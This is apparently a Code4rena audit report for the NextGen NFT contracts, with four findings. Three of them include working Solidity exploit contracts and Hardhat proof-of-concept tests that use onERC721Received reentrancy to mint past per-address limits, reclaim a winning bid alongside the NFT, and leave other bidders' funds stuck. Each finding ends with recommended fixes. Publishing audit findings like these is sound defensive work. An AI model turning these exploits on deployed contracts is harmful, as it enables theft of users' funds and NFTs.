NextGen - phoenixV110's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L196-L254 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Summary

There is a reentrancy vulnerability in mint(). Users can mint infinite number of nfts per address.

Vulnerability Details

The CEI pattern is not followed, which opens up a possibility of reentrancy in mint() function. The function _mintProcessing() is called first and then tokensMintedAllowlistAddress and tokensMintedPerAddress is updated. A user can call mint() in loop in onERC721Received() method and mint the max nfts supply.

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }
    }

POC Test:

Add the below test case in nextGen.test.js

it("#mintNFTCol1BypassMaxMintCount", async function () {

      await contracts.hhMinter.mint(
        1, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        signers.addr1.address, // _mintTo
        ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot
        signers.addr1.address, // _delegator
        2, //_varg0
      )
      await contracts.hhMinterContractExploit.connect(signers.addr1).mint()
      console.log("Max allowed per adderss: ", await contracts.hhCore.viewMaxAllowance(1))
      console.log("Total Minted: ", await contracts.hhCore.balanceOf(await contracts.hhMinterContractExploit.getAddress()))
    })

Add Exploit contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./MinterContract.sol";
import "./IERC721Receiver.sol";

contract MinterContractExploit is IERC721Receiver {

    NextGenMinterContract public minterContract;
    bytes32[] data;
    uint8 counter;
    constructor(address _minterContract, bytes32[] memory _data) payable {
        minterContract = NextGenMinterContract(_minterContract);
        data = _data;
    }   

    function mint() public payable {
        uint256 price = minterContract.getPrice(1);
        minterContract.mint{value: price}(1,1,0,'{"tdh": "100"}',address(this),data,msg.sender,2);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata _data
    ) external returns (bytes4) {
        if(counter < 10) {
            uint256 price = minterContract.getPrice(1);
            counter +=1;
            minterContract.mint{value: price}(1,1,0,'{"tdh": "100"}',address(this),data,msg.sender,2);
        }
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

Add this in fixturesDeployment.js file

  const minterContractExploit = await ethers.getContractFactory("MinterContractExploit")
  const hhMinterContractExploit = await minterContractExploit.deploy(
    await hhMinter.getAddress(),
    ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"],
    {value: '20000000000000000000'}
  )

Logs:

Max allowed per adderss:  2n
Total Minted:  11n

Impact

A single user can mint all the nft supply and bypass mint limit per user checks.

Recommendations

The states should be updated before minting to avoid reentrancy. The ReentrancyGuard contract can also be used and functions can be marked as nonReentrant().

function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
         require(msg.sender == minterContract, "Caller is not the Minter Contract");
         collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
         if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
             if (phase == 1) {
                 tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
             } else {
                 tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
             }
+            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
         }
     }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Summary

The highest bidder can call claimAuction() and claim their nft. But the status of the bid is never set to false. If the block.timestamp == minter.getAuctionEndTime(_tokenid) they can call cancelAllBids() and get their nft payment back.

Vulnerability Details

The method claimAuction() uses SafeTransferFrom to ensure that receiver implements IERC721Receiver. This opens an opportunity for the malicious user to exeucte a method on onERC721Received(). The status of the bid is not set as false. So a winner can call cancelAllBids() and claim it's funds and get both the nft and its funds.

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

POC:

• Alice bids 1 Eth in the auction.
• Bob bids 2 Eth in the auction.
• Alice bids 3 Eth.
• Adam bids 4 Eth.
• Alice bids 5 Eth and wins the auction. Alice exploits the contract and withdraw its 9 Eth back.

POC Test:

Add the exploit contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";
import "./IERC721Receiver.sol";
import "hardhat/console.sol";

contract AuctionDemoStealUserFunds is IERC721Receiver {

    auctionDemo public auctionDemoAdd;
    address public owner;
    constructor(address _auctionDemo) {
        auctionDemoAdd = auctionDemo(_auctionDemo);
        owner = msg.sender;
    }   

    function participateInAuction(uint _tokenid) public payable {
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function runExploit(uint256 _tokenid) public payable {
        auctionDemoAdd.claimAuction(_tokenid);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        auctionDemoAdd.cancelBid(tokenId,auctionDemoAdd.returnBids(tokenId).length - 1);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        (bool success, ) = payable(owner).call{value: address(this).balance}("");
    }
}

Add the below test case in nextGen.test.js

it("#mintAndAuctionStealFunds", async function () {
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _recipients
        '{"tdh": "100"}', // _numberOfTokens
        1, // _varg0
        2, // _collectionID
        await time.latest() + 9, // _numberOfTokens
      )
      const tokenId = 20000000003
      await contracts.hhCore.connect(signers.owner).approve(contracts.hhAuctionDemo.getAddress(), tokenId)
      console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId))
      console.log("Alice Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString()));
      console.log("Bob Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString()));
      console.log("Adam Initial Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString()));
      console.log("Alice bids 1 Eth in the auction")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "1000000000000000000"})
      console.log("Bob bids 2 Eth in the auction")
      await contracts.hhAuctionDemo.connect(signers.addr2).participateToAuction(tokenId,{value: "2000000000000000000"})
      console.log("Alice bids 3 Eth")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "3000000000000000000"})
      console.log("Adam bids 4 Eth")
      await contracts.hhAuctionDemo.connect(signers.addr3).participateToAuction(tokenId,{value: "4000000000000000000"})
      console.log("Alice bids 5 Eth")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).participateInAuction(tokenId,{value: "5000000000000000000"})
      mine(1)
      console.log("Alice wins the auction")
      await contracts.hhAuctionDemoStealUserFunds.connect(signers.addr1).runExploit(tokenId) 
      console.log("Alice Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr1.address)).toString()));
      console.log("Bob Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr2.address)).toString()));
      console.log("Adam Final Balance: ",ethers.formatEther((await ethers.provider.getBalance(signers.addr3.address)).toString()));
    })

POC Logs:

Auction Status:  true
Alice Initial Balance:  9999.999162570768175017
Bob Initial Balance:  9993.899025217827686001
Adam Initial Balance:  10000.0
Alice bids 1 Eth in the auction
Bob bids 2 Eth in the auction
Alice bids 3 Eth
Adam bids 4 Eth
Alice bids 5 Eth
Alice wins the auction
Alice Final Balance:  9999.998472208501724783
Bob Final Balance:  9993.898914956902548981
Adam Final Balance:  9999.999878813762652391

Impact

A user can claim its funds as well as the nft by exploiting the safeTranferFrom() method.

Recommendations

Either update the require statement as below.

     function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
-        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
+        require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

or add a check !auctionClaim[_tokenid] in cancelBid() and cancelAllBids().

function cancelBid(uint256 _tokenid, uint256 index) public {
+        require(!auctionClaim[_tokenid],"Auction ended");
         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

function cancelAllBids(uint256 _tokenid) public {
+        require(!auctionClaim[_tokenid],"Auction ended");
         require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/MinterContract.sol#L530-L570

Vulnerability details

Summary

For the saleOption = 2 the NFTs are sold at exponentially/linearly decreasing rate with time period. But due to a missing check, The users minting at block.timestamp == collectionPhases[_collectionId].publicEndTime will be paying the full amount.

Vulnerability Details

If the NFT sale type is exponentially/linearly decrease sale. Then ideally the NFT mint price should keep on decreasing. But at block.timestamp == collectionPhases[_collectionId].publicEndTime full NFT will be charged to the minters.

Impact

The full NFT price will be charged to the users instead of collectionEndMintCost which is the unintended flow.

Recommendations

Update the if statement in getPrice() to include collectionPhases[_collectionId].publicEndTime in price calculation or exponentially decreasing sale.

-        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allow
listStartTime && block.timestamp < collectionPhases[_collectionId].publicEndTime){
+        } else if (collectionPhases[_collectionId].salesOption == 2 && block.timestamp > collectionPhases[_collectionId].allow
listStartTime && block.timestamp <= collectionPhases[_collectionId].publicEndTime){

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L57-L61 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Summary

There is no check in participateToAuction() to revert if claimAuction() has executed. Which opens a possiblity of users bidding after the auction completion.

Vulnerability Details

The check block.timestamp <= minter.getAuctionEndTime(_tokenid) in participateToAuction() allow users to call it at block.timestamp. Also, Similar check block.timestamp >= minter.getAuctionEndTime(_tokenid) allow user to call claimAuction(). A user can call both methods at block.timestamp == minter.getAuctionEndTime(_tokenid). If the winner has already claimed using claimAuction(), the other users will still be able to call participateToAuction() method at block.timestamp == minter.getAuctionEndTime(_tokenid). Which will lead to their funds getting stuck in the contract forever as cancelBid() and cancelAllBids() calls will revert.

function participateToAuction(uint256 _tokenid) public payable {
        require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

POC Test:

Add the below test case in nextGen.test.js

it("#mintAndAuction", async function () {
  await contracts.hhMinter.mintAndAuction(
    signers.addr1.address, // _recipients
    '{"tdh": "100"}', // _numberOfTokens
    1, // _varg0
    2, // _collectionID
    await time.latest() + 4, // _numberOfTokens
  )
  await contracts.hhCore.connect(signers.addr1).approve(contracts.hhAuctionDemo.getAddress(), 20000000001)
  const tokenId = 20000000001
  console.log("Auction Status: ", await contracts.hhMinter.getAuctionStatus(tokenId))
  await contracts.hhAuctionExploit.connect(signers.addr2).participateInAuction(20000000001, {value: "1000000000000000000"})
  let ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString()
  console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance))
  await contracts.hhAuctionExploit.connect(signers.addr2).runExploit(20000000001, {value: "2000000000000000000"})
  console.log("Get Active Bids: ")
  console.log(await contracts.hhAuctionDemo.returnBids(20000000001))  
  ethersBalance = (await ethers.provider.getBalance(contracts.hhAuctionDemo.getAddress())).toString()
  console.log("Eth balance of AuctionDemo contract:", ethers.formatEther(ethersBalance))

  await expect(contracts.hhAuctionDemo.cancelBid(20000000001,1)).to.be.revertedWith("Auction ended")
  await expect(contracts.hhAuctionDemo.cancelAllBids(20000000001)).to.be.revertedWith("Auction ended")
})

Add Exploit contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";
import "./IERC721Receiver.sol";

contract AuctionDemoExploit is IERC721Receiver {

    auctionDemo public auctionDemoAdd;
    constructor(address _auctionDemo) {
        auctionDemoAdd = auctionDemo(_auctionDemo);
    }   

    function participateInAuction(uint _tokenid) public payable {
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function runExploit(uint256 _tokenid) public payable {
        auctionDemoAdd.claimAuction(_tokenid);
        auctionDemoAdd.participateToAuction{value: msg.value}(_tokenid);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

Add this in fixturesDeployment.js file

  const hhAuctionDemo = await auctionDemo.deploy(
    await hhMinter.getAddress(),
    await hhCore.getAddress(),
    await hhAdmin.getAddress(),
  )

  const auctionExploit = await ethers.getContractFactory("AuctionDemoExploit")
  const hhAuctionExploit = await auctionExploit.deploy(
    await hhAuctionDemo.getAddress()
  )

Logs:

Auction Status:  true
Eth balance of AuctionDemo contract: 1.0
Get Active Bids: 
Result(2) [
  Result(3) [
    '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853',
    1000000000000000000n,
    true
  ],
  Result(3) [
    '0xa513E6E4b8f2a923D98304ec87F64353C4D5C853',
    2000000000000000000n,
    true
  ]
]
Eth balance of AuctionDemo contract: 2.0

Impact

All the users who bid at block.timestamp == minter.getAuctionEndTime(_tokenid) and after claimAuction() execution will have their funds stuck in the AuctionDemo contract forever.

Recommendations

Update claimAuction() to execute on block.timestamp > minter.getAuctionEndTime(_tokenid) or add the below line in participateToAuction() method.

     function participateToAuction(uint256 _tokenid) public payable {
+
+        if(auctionClaim[_tokenid]) {
+            revert("Auction ended");
+        }
         require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
         auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
         auctionInfoData[_tokenid].push(newBid);
     }

Assessed type

Access Control